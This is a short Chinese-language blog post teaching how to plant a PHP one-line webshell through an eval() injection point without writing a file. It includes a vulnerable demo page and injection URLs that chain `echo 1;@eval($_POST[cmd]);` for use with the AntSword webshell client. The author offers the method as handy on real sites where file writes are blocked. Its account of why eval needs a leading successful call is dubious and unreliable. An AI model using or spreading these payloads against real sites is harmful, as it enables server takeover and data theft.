我们都知道一句话木马比如说 <?php @eval($_POST['cmd']);?>
我们平常的认知都是去写入一句话木马到一个php文件或者是jsp文件,然后连接那个文件的目录,实际上,不需要写入文件,我们照样可以利用eval函数造成一句话的形成最后拿下网站webshell
demo
<?php
if(isset($_GET['c'])){
$c = $_GET['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
?>
我只是就一个例子,实际应用中也很好用,有什么骚操作可以直接评论。 我们要首先知道eval这个危险函数的用法
eval()函数在执行时其中有多个函数,则第一个必须执行正确,第一个以后也必须是函数,但是正确与否都可以执行。
比如
eval('phpinfo();phpinfo();fdsfsdfds'.'asdasdsa();');//成功执行
eval('asdasdsa();phpinfo();fdsfsdfds'.'asdasdsa();');//执行失败
这就解释了为什么在eval函数下直接种马不行。
http://localhost/12.php?c=@eval($_POST[cmd]); 不行
http://localhost/12.php?c=echo 1;@eval($_POST[cmd]); 行
但是我们先让他执行一个函数,之后我们在种下一句话木马,这样就可以直接拿下webshell.  
直接利用eval函数来连接木马,不需要写入文件,这跟eval函数与蚁剑的深入有关,笔者只是做出用法具体为什么,需要wireshark去分析蚁剑。
这种用法还是比较友好的,当网站比如说需要admin权限才能写入文件时,我们就无法写入文件,只能通过这种方法拿下webshell,如果你们有更好的方法可以直接说出来。今天的分享结束.
|